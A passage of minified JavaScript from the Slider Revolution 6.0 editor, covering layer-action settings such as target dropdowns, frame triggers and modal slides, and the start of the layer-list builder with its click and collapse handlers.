0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_speed&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action_speed="1000ms")),"link"===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action&&("column"===RVS.L[RVS.selLayers[0]].type||"row"===RVS.L[RVS.selLayers[0]].type||"group"===RVS.L[RVS.selLayers[0]].type?RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type="jquery":void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type="a")),jQuery.inArray(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,["start_in","start_out","start_frame","next_frame","prev_frame","toggle_layer","toggle_frames"])>=0&&void 0===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].updateChildren&&(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].updateChildren=!0),RVS.F.updateEasyInputs({container:jQuery("#rbm_layer_action"),path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".",trigger:"init"}),RVS.F.upadteLayerTargetDropDowns({action:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,targetid:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].layer_target}),RVS.F.updateSlideList({action:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,targetid:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].jump_to_slide}),RVS.F.updateLinkTypes({action:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action,linktype:RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].link_type}),void 0!==RVS.S.actionTrgtLayerId&&(""+RVS.S.actionTrgtLayerId).indexOf("static-")>=0){var e=void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers:void 0,t=(""+RVS.S.actionTrgtLayerId).replace("static-","");void 0!==e&&void 0!==e[t]&&("toggle_layer"===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action&&("visible"===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].toggle_layer_type?e[t].timeline.frames.frame_1.timeline.actionTriggered=!1:e[t].timeline.frames.frame_1.timeline.actionTriggered=!0,e[t].timeline.frames.frame_999.timeline.actionTriggered=!0),jQuery("#overtake_frame_1_control")[0].checked=e[t].timeline.frames.frame_1.timeline.actionTriggered,jQuery("#overtake_frame_999_control")[0].checked=e[t].timeline.frames.frame_999.timeline.actionTriggered,RVS.F.turnOnOffVisUpdate({input:document.getElementById("overtake_frame_1_control")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("overtake_frame_999_control")}),jQuery("#la_triggerMemory").val(e[t].actions.triggerMemory).ddTP("change"),RVS.F.updatePlayFrameXOnlyOnAction(null,"X"),RVS.F.updatePlayFrameXOnlyOnAction(null,"N"),RVS.F.updatePlayFrameXOnlyOnAction(null,"M"))}else void 0!==RVS.L[RVS.S.actionTrgtLayerId]&&(RVS.H[RVS.S.actionTrgtLayerId].w.addClass("actionselected"),"toggle_layer"===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action&&("visible"===RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].toggle_layer_type?RVS.L[RVS.S.actionTrgtLayerId].timeline.frames.frame_1.timeline.actionTriggered=!1:RVS.L[RVS.S.actionTrgtLayerId].timeline.frames.frame_1.timeline.actionTriggered=!0,RVS.L[RVS.S.actionTrgtLayerId].timeline.frames.frame_999.timeline.actionTriggered=!0),jQuery("#overtake_frame_1_control")[0].checked=RVS.L[RVS.S.actionTrgtLayerId].timeline.frames.frame_1.timeline.actionTriggered,jQuery("#overtake_frame_999_control")[0].checked=RVS.L[RVS.S.actionTrgtLayerId].timeline.frames.frame_999.timeline.actionTriggered,RVS.F.turnOnOffVisUpdate({input:document.getElementById("overtake_frame_1_control")}),RVS.F.turnOnOffVisUpdate({input:document.getElementById("overtake_frame_999_control")}),jQuery("#la_triggerMemory").val(RVS.L[RVS.S.actionTrgtLayerId].actions.triggerMemory).ddTP("change"),RVS.F.updatePlayFrameXOnlyOnAction(null,"X"),RVS.F.updatePlayFrameXOnlyOnAction(null,"N"),RVS.F.updatePlayFrameXOnlyOnAction(null,"M"));jQuery("#layer_action_fake").html(RVS.LIB.ACTIONTYPES[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action].name)},RVS.F.layerFrameTriggered=function(e){var t=parseInt(e.layerid,0);return RVS.L[t].timeline.frames[e.frame].timeline.actionTriggered},RVS.F.layerFrameTriggeredBy=function(e){for(var t=parseInt(e.layerid,0),i=[],a=(""+RVS.S.slideId).indexOf("static")>=0,r=null==e.src&&a?RVS.SLIDER.slideIDs.length-1:-1,s=!1;!s;){var o=void 0===e.src?-1===r?RVS.L:RVS.SLIDER[RVS.SLIDER.slideIDs[r]].layers:e.src;for(var n in o)if(!(void 0===e.all&&i.length>0)&&o.hasOwnProperty(n)&&void 0!==o[n].actions)for(var l in o[n].actions.action)if(!(void 0===e.all&&i.length>0)&&o[n].actions.action.hasOwnProperty(l)&&void 0!==o[n].actions.action[l].layer_target&&(a&&o[n].actions.action[l].layer_target==="static-"+t||a&&RVS.SLIDER.slideIDs[r]===RVS.S.slideId&&parseInt(o[n].actions.action[l].layer_target,0)===parseInt(t,0)||!a&&parseInt(o[n].actions.action[l].layer_target,0)===parseInt(t,0))){var d=o[n].actions.action[l].action;("start_in"!==d||"any"!==e.frame&&"frame_1"!==e.frame)&&("start_out"!==d||"any"!==e.frame&&"frame_999"!==e.frame)&&("toggle_layer"!==d||"any"!==e.frame&&"frame_1"!==e.frame&&"frame_999"!==e.frame)&&("toggle_frames"!==d||"any"!==e.frame&&o[n].actions.action[l].gotoframeM!==e.frame&&o[n].actions.action[l].gotoframeN!==e.frame)&&("start_frame"!==d||"any"!==e.frame&&o[n].actions.action[l].gotoframe!==e.frame)||i.push({icon:RVS.F.getLayerIcon(o[n].type,o[n].subtype),action:d,uid:parseInt(o[n].uid,0),alias:o[n].alias,slide:void 0===e.src&&-1!==r?RVS.SLIDER.slideIDs[r]:RVS.S.slideId})}s=--r<0}return 0===i.length&&i.push({uid:"",alias:""}),e.all?i:i[0]},RVS.F.updateLayerToggleActionWaits=function(){var e=void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers:void 0;for(var t in RVS.L)if(RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].actions)for(var i in RVS.L[t].actions.action)if(RVS.L[t].actions.action.hasOwnProperty(i)&&void 0!==RVS.L[t].actions.action[i].layer_target&&"toggle_layer"===RVS.L[t].actions.action[i].action){var a=RVS.L[t].actions.action[i].layer_target,r=void 0!==e&&(""+a).indexOf("static-")>=0;if(a=r?a.replace("static-",""):a,r&&void 0!==e[a]||!r&&void 0!==RVS.L[a]){var s=!("visible"===RVS.L[t].actions.action[i].toggle_layer_type);r?(e[a].timeline.frames.frame_1.timeline.actionTriggered=s,e[a].timeline.frames.frame_999.timeline.actionTriggered=!0):(RVS.L[a].timeline.frames.frame_1.timeline.actionTriggered=s,RVS.L[a].timeline.frames.frame_999.timeline.actionTriggered=!0)}}RVS.F.updateAllLayerFrames()},RVS.F.initActionsOfLayers=function(){var e=RVS.L[RVS.selLayers[0]],t=jQuery("#layer_depending_wrap"),i=RVS.F.layerFrameTriggeredBy({all:!0,layerid:RVS.selLayers[0],frame:"any"}),a='<i class="lwa_icon material-icons">'+RVS.F.getLayerIcon(e.type,e.subtype)+'</i><span class="lwa_layername">'+e.alias+"</span>";for(var r in t[0].innerHTML="",jQuery("#layer_with_action_wrap").removeClass("opendeps"),i.length>0&&(a+='<span class="drop_dependencies">'+RVS_LANG.triggeredby+'<i class="material-icons">arrow_drop_up</i></span>'),i)i.hasOwnProperty(r)&&void 0!==i[r].uid&&void 0!==i[r].action&&t.append('<li data-id="'+i[r].uid+'" class="layer_depending_on"><i class="material-icons ldo_icon">'+i[r].icon+'</i><span class="ldo_layername">'+i[r].alias+(i[r].slide!==RVS.S.slideId?" ("+i[r].slide+")":"")+'</span><span class="ldo_actionname">'+RVS_LANG["layeraction_"+i[r].action]+"</span></li>");document.getElementById("add_action_to_layername").innerHTML=e.alias,document.getElementById("layer_with_action").innerHTML=a,RVS.F.updateEasyInputs({container:jQuery("#layer_width_action_inner_wrap"),path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".",trigger:"init"}),jQuery("#rbm_layer_action .tos2, #rbm_layer_action .slideinput, #rbm_layer_action .sliderinput").trigger("init"),RVS.F.buildActionList()},RVS.F.buildActionList=function(){var e=jQuery("#selected_layer_actions"),i=RVS.L[RVS.selLayers[0]];for(var a in jQuery(".actionDependent").removeClass("actionDependent"),jQuery(".actionselected").removeClass("actionselected"),e[0].innerHTML="",i.actions.action)if(i.actions.action.hasOwnProperty(a)){var r='<li class="single_layer_action '+(a==RVS.S.actionIdx?"selected":"")+'">',s=t(i.actions.action[a]);if(-1!=s.targetid)if(void 0!==RVS.SLIDER[s.slideid].layers[s.targetid]){var o=s.slideid.indexOf("static")>=0;r+='<i class="sla_icon material-icons">'+RVS.F.getLayerIcon(RVS.SLIDER[s.slideid].layers[s.targetid].type,RVS.SLIDER[s.slideid].layers[s.targetid].subtype)+'</i><span class="sla_layername">'+RVS.SLIDER[s.slideid].layers[s.targetid].alias+(o?"(S)":"")+"</span>",o||RVS.H[s.targetid].w.addClass("actionDependent")}else"backgroundvideo"===i.actions.action[a].layer_target||"firstvideo"===i.actions.action[a].layer_target?r+='<i class="sla_icon material-icons">videocam</i><span class="sla_layername">'+RVS_LANG[i.actions.action[a].layer_target]+"</span>":r+='<i class="sla_icon material-icons">error_outline</i><span class="sla_layername">'+RVS_LANG.noLayersSelected+"</span>";else void 0!==RVS.LIB.ACTIONTYPES[i.actions.action[a].action]?r+='<i class="sla_icon material-icons">'+RVS.LIB.ACTIONTYPES[i.actions.action[a].action].icon+'</i><span class="sla_layername"></span>':r+='<i class="sla_icon material-icons">extension</i><span class="sla_layername"></span>';void 0!==RVS.LIB.ACTIONTYPES[i.actions.action[a].action]&&void 0!==RVS_LANG["layeraction_"+i.actions.action[a].action]?r+='<span class="sla_actionname">'+RVS_LANG["layeraction_"+i.actions.action[a].action]+"</span>":r+='<span class="sla_actionname">'+i.actions.action[a].action+"</span>",r+='<div class="single_layer_toolbar"><i class="material-icons duplicate_single_layer_action">content_copy</i><i class="material-icons delete_single_layer_action">delete_forever</i></div>',r+="</li>",e.append(r)}0===i.actions.action.length?(jQuery("#layeraction_list").show(),jQuery("#selected_layer_actions").hide(),jQuery("#addactiontolayer").hide()):(jQuery("#layeraction_list").hide(),jQuery("#selected_layer_actions").show(),jQuery("#addactiontolayer").show()),jQuery("#layeraction_list").RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100}),jQuery("#layeractions_overview_innerwrap").RSScroll({wheelPropagation:!1,suppressScrollX:!0,minScrollbarLength:100})},RVS.F.refreshModalSlides=function(){if(RVS.L[RVS.selLayers[0]].actions.action.length&&"open_modal"==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].action&&void 0!==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].openmodal){var e=function(e){var t=!1;for(var i in RVS.LIB.SLIDERS)!1===t&&RVS.LIB.SLIDERS[i].alias===e&&(t=RVS.LIB.SLIDERS[i].id);return t}(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].openmodal);if(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].openmodalId=e,!1===e)return;var t="";RVS.F.ajaxRequest("get_slides_by_slider_id",{id:e},function(e){if(e.success){var i=0;for(var a in e.slides)i++,t+='<option value="rs-'+e.slides[a].id+'">#'+i+" "+e.slides[a].title+"</option>";var r=jQuery("#la_open_modalslide");r[0].innerHTML=t,void 0!==RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].modalslide&&(r[0].value=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx].modalslide),r.ddTP({placeholder:"Select From List"}),RVS.F.updateEasyInputs({container:jQuery("#rbm_layer_action"),path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".",trigger:"init"})}})}},RVS.F.refreshFrameLists=function(){for(var t in e){if(void 0===RVS.S.actionTrgtLayerId)return;var i=RVS.S.actionTrgtLayerId.indexOf("static-")>=0,a=RVS.S.actionTrgtLayerId.replace("static-",""),r=i?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[a]:RVS.L[RVS.S.actionTrgtLayerId],s="",o=jQuery("#la_gotoframe"+e[t]);if(void 0===r||NaN===r)return;var n=r.timeline.frameOrder,l=r.timeline.frames;for(var d in s+='<option value="frame_1">'+l.frame_1.alias+" ( "+RVS_LANG.frstframe+")</option>",n)if(n.hasOwnProperty(d)){var S=n[d].id;"frame_0"!==S&&"frame_1"!==S&&"frame_999"!==S&&(s+='<option value="'+S+'">'+l[S].alias+" ("+d+".Frame )</option>")}s+='<option value="frame_999">'+l.frame_999.alias+" ( "+RVS_LANG.lastframe+")</option>",o[0].innerHTML=s,RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]&&void 0!==l[RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]]?o[0].value=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]:(RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]="frame_1",o[0].value=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("X"===e[t]?"":e[t])]),o.ddTP({placeholder:"Select From List"}),RVS.F.updatePlayFrameXOnlyOnAction(null,e[t])}},RVS.F.updatePlayFrameXOnlyOnAction=function(e,t){if(t=void 0===t?"X":"object"==typeof t?t.eventparam:t,void 0!==RVS.S.actionTrgtLayerId){var i=RVS.S.actionTrgtLayerId.indexOf("static-")>=0,a=RVS.S.actionTrgtLayerId.replace("static-",""),r=i?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers[a]:RVS.L[RVS.S.actionTrgtLayerId],s=document.getElementById("overtake_frame"+t+"_control"),o=r.timeline.frames,n=RVS.L[RVS.selLayers[0]].actions.action[RVS.S.actionIdx]["gotoframe"+("N"===t||"M"===t?t:"")];n&&void 0!==o[n]&&(s.dataset.r="timeline.frames."+n+".timeline.actionTriggered",s.checked=r.timeline.frames[n].timeline.actionTriggered,RVS.F.turnOnOffVisUpdate({input:s}))}},RVS.F.upadteLayerTargetDropDowns=function(e){var t=jQuery("#la_layer_target"),i=void 0!==RVS.LIB.ACTIONTYPES[e.action]&&RVS.LIB.ACTIONTYPES[e.action].media;for(var a in t[0].innerHTML="",i&&(t[0].innerHTML+='<option data-icon="videocam" value="backgroundvideo">'+RVS_LANG.backgroundvideo+"</option>",t[0].innerHTML+='<option data-icon="videocam" value="firstvideo">'+RVS_LANG.videoactiveslide+"</option>"),RVS.L)RVS.L.hasOwnProperty(a)&&(void 0===RVS.L[a].type||"zone"===RVS.L[a].type||i&&"video"!==RVS.L[a].type&&"audio"!==RVS.L[a].type||(t[0].innerHTML+='<option data-icon="'+RVS.F.getLayerIcon(RVS.L[a].type)+'" value="'+RVS.L[a].uid+'">'+RVS.L[a].alias+"</option>"));if(-1===(""+RVS.S.slideId).indexOf("static_")&&void 0!==RVS.SLIDER.staticSlideId&&void 0!==RVS.SLIDER[RVS.SLIDER.staticSlideId]){t[0].innerHTML+='<optgroup label="'+RVS_LANG.globalLayers+'">';var r=RVS.SLIDER[RVS.SLIDER.staticSlideId].layers;for(var a in r)r.hasOwnProperty(a)&&(void 0===r[a].type||"zone"===r[a].type||i&&"video"!==r[a].type&&"audio"!==r[a].type||(t[0].innerHTML+='<option data-icon="'+RVS.F.getLayerIcon(r[a].type)+'" value="static-'+r[a].uid+'">'+r[a].alias+"</option>"));t[0].innerHTML+="</optgroup>"}t.val(e.targetid).ddTP("rebuild",{pre:'<span><i class="icon_in_dropdown material-icons">#data#</i></span>',preData:"icon"}),void 0!==e.targetid&&void 0!==RVS.L[e.targetid]&&(jQuery.inArray(RVS.L[e.targetid].type,["group","row","column"])>=0&&jQuery.inArray(e.action,["start_in","start_out","start_frame","next_frame","prev_frame","toggle_layer","toggle_frames"])>=0?jQuery("#la_settings_childrentimelines").show():jQuery("#la_settings_childrentimelines").hide())},RVS.F.updateLinkTypes=function(e){var t=jQuery("#la_link_type");t[0].innerHTML="",t.append('<option value="jquery">'+RVS_LANG.jquerytriggered+"</option>"),-1==jQuery.inArray(RVS.L[RVS.selLayers[0]].type,["group","column","row"])&&t.append('<option value="a">'+RVS_LANG.atriggered+"</option>"),t.val(e.linktype).ddTP("change").ddTP({})},RVS.F.createActionGroup=function(e){let t=document.getElementById(e.id),i=null!==t;if(e.title=void 0===RVS_LANG[e.id]?e.title?e.title:e.id:RVS_LANG[e.id],!i){t=RVS.F.cE({cN:"lal_group",id:e.id});let i=RVS.F.cE({cN:"lal_group_header"});i.textContent=e.title;let a=RVS.F.cI({c:e.icon});i.prepend(a),i.appendChild(RVS.F.cI({cN:"accordiondrop",c:"arrow_drop_down"})),t.appendChild(i)}for(var a in e.actions){if(!e.actions.hasOwnProperty(a))continue;let i=e.actions[a];void 0!==i.alias&&(RVS_LANG["layeraction_"+i.val]=i.alias);let r=void 0!==i.title?i.title:void 0===RVS_LANG["layeraction_"+i.val]?i.val:RVS_LANG["layeraction_"+i.val];i.inputs=void 0===i.inputs?"":i.inputs,i.inputs=!0===i.layerTarget?"#la_settings_layertarget"+(i.inputs.length>0?", "+i.inputs:""):i.inputs;let s=RVS.F.cE({cN:"lal_group_member",id:"layeraction_picker_"+i.val,ds:{val:i.val,inputs:i.inputs}});RVS.F.cI({c:e.icon});s.prepend(RVS.F.cI({c:e.icon})),s.textContent=r,t.appendChild(s),i.layerTarget&&RVS.LIB.ACTION_WITH_TRGT.push(i.val),RVS.LIB.ACTIONTYPES[i.val]={inputs:i.inputs,name:r,icon:e.icon,layerTarget:i.layerTarget,media:i.media}}i||document.getElementById("layeraction_list").appendChild(t)},RVS.F.updateSlideList=function(e){var t=jQuery("#la_jump_to_slide"),i='<option value="first">'+RVS_LANG.firstslide+"</option>";i+='<option value="last">'+RVS_LANG.lastslide+"</option>",i+='<option value="random">'+RVS_LANG.randomslide+"</option>","next"===e.targetid&&(i+='<option value="next">'+RVS_LANG.nextslide+"</option>"),"previous"===e.targetid&&(i+='<option value="previous">'+RVS_LANG.previousslide+"</option>");var a=0;for(var r in RVS.SLIDER.slideIDs)if(RVS.SLIDER.slideIDs.hasOwnProperty(r)){var s=RVS.SLIDER.slideIDs[r]+"";-1===s.indexOf("static_")&&(i+="<option value="+s+">#"+ ++a+" "+RVS.SLIDER[s].slide.title+"</option>")}t[0].innerHTML=i,t.val(e.targetid).ddTP("change").ddTP({})}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR LAYERLIST JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
function(){var e,t=[],i={};function a(e,t){for(var i in e=function(e){var t,i=[],a=!1;for(var r in RVS.L)RVS.L.hasOwnProperty(r)&&""+RVS.L[r].group.puid==""+e&&i.push({id:RVS.L[r].uid,sort:RVS.L[r].group.groupOrder,zIndex:RVS.L[r].position.zIndex,type:RVS.L[r].type,alias:RVS.L[r].alias});for(var s in i)0!=i[s].sort&&"0"!=i[s].sort||(void 0===t?t=s:(i[s].sort=i[s].zIndex,a=!0));a&&(i[t].sort=i[t].zIndex);"top"===e||"bottom"===e||"middle"===e?i.sort(function(e,t){return e.sort-t.sort}):-1===e||"group"===RVS.L[e].type?i.sort(function(e,t){return t.sort-e.sort}):i.sort(function(e,t){return e.sort-t.sort});return i}(t))e.hasOwnProperty(i)&&("zone"!==e[i].type&&"row"!==e[i].type&&"column"!==e[i].type&&"group"!==e[i].type||(e[i].list=a(e,e[i].id)));return e}function r(e,t){let i=RVS.F.cF(),a=RVS.F.getLayerIcon(e.type,e.subtype),r=RVS.F.cE({cN:"layerlist_element_innerwrap",ds:{layerid:e.uid,id:e.uid}}),s=RVS.F.cE({cN:"context_left"}),o=RVS.F.cE({cN:"layerlist_element_alias",id:"layerlist_element_alias_"+RVS.S.slideId+"_"+e.uid}),n=RVS.F.cE({cN:"layerlist_toolbar_icon_wrap",id:"llist_too_iw_"+e.uid}),l=RVS.F.cI({cN:"layerlist_toolbar_icon fclayer_withslideend",c:"keyboard_tab",id:"slideendmarker_"+RVS.S.slideId+"_"+e.uid,ds:{layerid:e.uid}}),d=RVS.F.cE({cN:"stimeline"}),S=RVS.F.cE({cN:"frameswrap"}),c=RVS.F.cE({cN:"frame_unvisible_start",id:"frame_unvisible_start_"+RVS.S.slideId+"_"+e.uid}),p=RVS.F.cE({t:"framebg",ds:{layerid:e.uid,bg:"true",layertype:e.type}});if(o.textContent=RVS.F.sanitize_input_ws(e.alias),r.appendChild(s),s.appendChild(RVS.F.cE({cN:"layer_has_action"})),s.appendChild(RVS.F.cE({cN:"layerlist_element_level",icon:{c:"arrow_drop_down"}})),s.appendChild(RVS.F.cE({cN:"layerlist_element_type",icon:{c:a}})),s.appendChild(o),"zone"!==e.type){let t=RVS.F.cE({t:"input",type:"text",id:"layerlist_element_alias_input_"+RVS.S.slideId+"_"+e.uid,cN:"layerlist_element_alias_input indeplayerinput losefocusonenter",ds:{evt:"updateLayerAlias",sanitize:"true",cursortoclick:"true",evtparam:e.uid,r:e.uid+".alias"}});t.value=RVS.F.sanitize_alias(e.alias),s.appendChild(t)}for(var R in s.appendChild(RVS.F.cE({cN:"layerlist_toolbar"})),s.appendChild(RVS.F.cI({cN:"layer_current_visibility",c:"visibility_off",ds:{uid:e.uid}})),s.appendChild(RVS.F.cI({cN:"layer_current_locked material-icons",c:"lock",ds:{uid:e.uid}})),RVS.JHOOKS.createLayerListElement){if(!RVS.JHOOKS.createLayerListElement.hasOwnProperty(R))continue;let t=RVS.JHOOKS.createLayerListElement[R]({layer:e});!1!==t&&null!=t&&s.appendChild(t)}return s.appendChild(n),n.appendChild(l),r.appendChild(d),d.appendChild(RVS.F.cE({cN:"slidelooptimemarker"})),d.appendChild(RVS.F.cE({cN:"fixedscrolltimemarker"})),d.appendChild(S),S.appendChild(c),S.appendChild(p),i.appendChild(r),t&&i.appendChild(RVS.F.cE({t:"ul"})),i}function s(){jQuery(this).hasClass("collapsed")?this.dataset.wascollapsed=1:jQuery(this).addClass("collapsed")}function o(){1!=this.dataset.wascollapsed&&jQuery(this).removeClass("collapsed"),this.dataset.wascollapsed=0}function n(e){t=[],jQuery(e.container+" ."+e.cIdName).each(function(){null!==this.offsetParent&&t.push({dif:36,y:jQuery(this).offset().top,id:this.dataset.id,type:this.dataset.type,puid:this.dataset.puid})})}function l(e){var i=!1,a=0;if(void 0!==t&&t.length>0){for(;!i&&a<t.length;)e.y>=t[a].y&&e.y<parseInt(t[a].y,0)+parseInt(t[a].dif,0)?i=!0:a++;return a>=t.length&&(a=t.length-1),{found:i,id:t[a].id,puid:t[a].puid,y:t[a].y,cover:e.y-parseInt(t[a].y,0),type:t[a].type}}return!1}function d(){var e=jQuery("#tl_layerList_"+RVS.S.slideId+" .layerlist_element");for(var t in e)if(e.hasOwnProperty(t)&&void 0!==e[t]&&void 0!==e[t].dataset&&void 0!==e[t].dataset.id){var i=jQuery(e[t]).parent().closest(".withchildren");if(i.length>0){e[t].dataset.puid=i.data("id");var a=RVS.F.getDeepVal({path:RVS.S.slideId+".layers."+e[t].dataset.id+".group.puid"});if(RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e[t].dataset.id+".group.puid",val:e[t].dataset.puid}),a!=e[t].dataset.puid&&-1==jQuery.inArray(e[t].dataset.puid,["top","bottom","middle"])){var r=RVS.F.getLayerChildren({layerid:e[t].dataset.puid});RVS.F.setChildrenTimelines({childLayers:r,difference:0}),RVS.F.backupChildren({childLayers:r})}}else e[t].dataset.puid=-1,RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e[t].dataset.id+".group.puid",val:-1})}}RVS.F.initLayerListBuilder=function(){RVS.C.rb=void 0===RVS.C.rb?jQuery("#rev_builder"):RVS.C.rb,RVS.C.layerListWrap=void 0===RVS.C.layerListWrap?jQuery("#tlLayerListWrap"):RVS.C.layerListWrap,RVS.DOC.on("click dblclick",".layerselector",function(){var e=jQuery(this);return e.hasClass("checked")?(RVS.F.selectLayers({id:this.dataset.id,overwrite:!1,action:"remove"}),e.removeClass("checked")):(RVS.F.selectLayers({id:this.dataset.id,overwrite:!1,action:"add"}),e.addClass("checked")),!1}),RVS.DOC.on("click",".layerlist_element_innerwrap",function(e){if(!this.dataset.ignore&&"slide_bg_anim_trigger"!==this.id){for(var t in RVS.JHOOKS.layerListElementClicked)RVS.JHOOKS.layerListElementClicked.hasOwnProperty(t)&&RVS.JHOOKS.layerListElementClicked[t](this.dataset.id);var i="FRAMEWRAP"===e.target.nodeName||"FFBEFORE"===e.target.nodeName||"FFAFTER"===e.target.nodeName?e.target.dataset.frame:"FRAMEWRAP"===e.target.parentNode.nodeName?e.target.parentNode.dataset.frame:void 0;return void 0!==i?("animation"===RVS.eMode.mode&&"layer"===RVS.eMode.top||RVS.F.mainMode({mode:"slidelayout",forms:["*slidelayout**mode__slidecontent*#form_layer_animation"],set:!0,uncollapse:!0,slide:RVS.S.slideId}),jQuery("framewrap.selected").removeClass("selected"),"FRAMEWRAP"===e.target.nodeName&&(e.target.className+=" selected"),"FRAMEWRAP"===e.target.parentNode.nodeName&&(e.target.parentNode.className+=" selected"),RVS.F.selectLayers({id:this.dataset.id,overwrite:!0,action:"add"}),RVS.F.setKeyframeSelected(i),"animation"===RVS.eMode.mode&&RVS.F.updateKeyframeSelected(i)):-1==e.target.className.indexOf("layerselector")&&-1==e.target.className.indexOf("layerlist_element_level")&&-1==e.target.className.indexOf("material-icons")&&("animation"===RVS.eMode.mode?void 0!==RVS.L[this.dataset.id]&&(RVS.F.selectLayers({id:this.dataset.id,overwrite:!0,action:"add",selectedKeyFrame:RVS.L[this.dataset.id].timeline.frameToIdle}),RVS.F.updateKeyframeSelected(RVS.L[this.dataset.id].timeline.frameToIdle)):window.cmdctrldown?RVS.F.selectLayers({id:this.dataset.id,overwrite:!1,action:"add"}):RVS.F.selectLayers({id:this.dataset.id,overwrite:!0,action:"add"})),jQuery(".directedit").removeClass("directedit"),!1}}),RVS.DOC.on("click",".layerlist_element_level",function(){return jQuery(document.activeElement).blur(),this.className.indexOf("free_positioned_layers_toggle")>=0?jQuery("#mainLayerListWrap_"+RVS.S.slideId).toggleClass("collapsedfreelayers"):jQuery(this).closest("li").toggleClass("collapsed"),RVS.F.saveCollapsedGroups(),!1}),RVS.DOC.on("click",".layer_allcollaps",function(){return this.className.indexOf("collapsed")>=0?(this.className="layer_allcollaps",jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_group.collapsed").removeClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_row.collapsed").removeClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_column.collapsed").removeClass("collapsed")):(this.className="layer_allcollaps collapsed",jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_group").addClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_row").addClass("collapsed"),jQuery("#tl_layerList_"+RVS.S.slideId+" .tllayerlist_element_column").addClass("collapsed")),RVS.F.saveCollapsedGroups(),RVS.F.layerListScrollable("update"),!1}),RVS.DOC.on("dblclick",".layerlist_element_innerwrap",function(){var e=jQuery(this);e.addClass("directedit"),e.find(".indeplayerinput").trigger("focus")}),RVS.DOC.on("click",".indeplayerinput",function(){return!1}),RVS.DOC.on("blur",".indeplayerinput",function(){jQuery(this).closest(".directedit").removeClass("directedit")}),RVS.DOC.on("click dblclick",".fclayer_withslideend",function(){var e=RVS.F.getLayerObjPath({layerid:this.dataset.layerid,frame:"frame_999"}),t=RVS.F.getDeepVal({path:e+"start"}),i=RVS.F.getLayerAliasAndFrame({layerid:this.dataset.layerid,frame:"frame_999"});return t=jQuery(this).hasClass("endswithslide")?parseInt(t,0)-100:10*RVS.F.getSlideLength(),RVS.F.updateSliderObj({path:e+"start",val:t,txt:i+" Start",icon:"access_time"}),RVS.F.updateLayerFrame({layerid:this.dataset.layerid,frame:"frame_999"}),!1}),RVS.DOC.on("click","#timeline_collapser",function(){clearTimeout(window.closeTimeLineTimer),RVS.F.expandCollapseTimeLine(!0,"close")}),RVS.C.layerListWrap.on("mouseenter",function(){window.closeTimeLineTimer=setTimeout(function(){RVS.F.expandCollapseTimeLine(!0,"open")},400)}),RVS.C.layerListWrap.on("mouseleave",function(){clearTimeout(window.closeTimeLineTimer)}),RVS.S.llcache=void 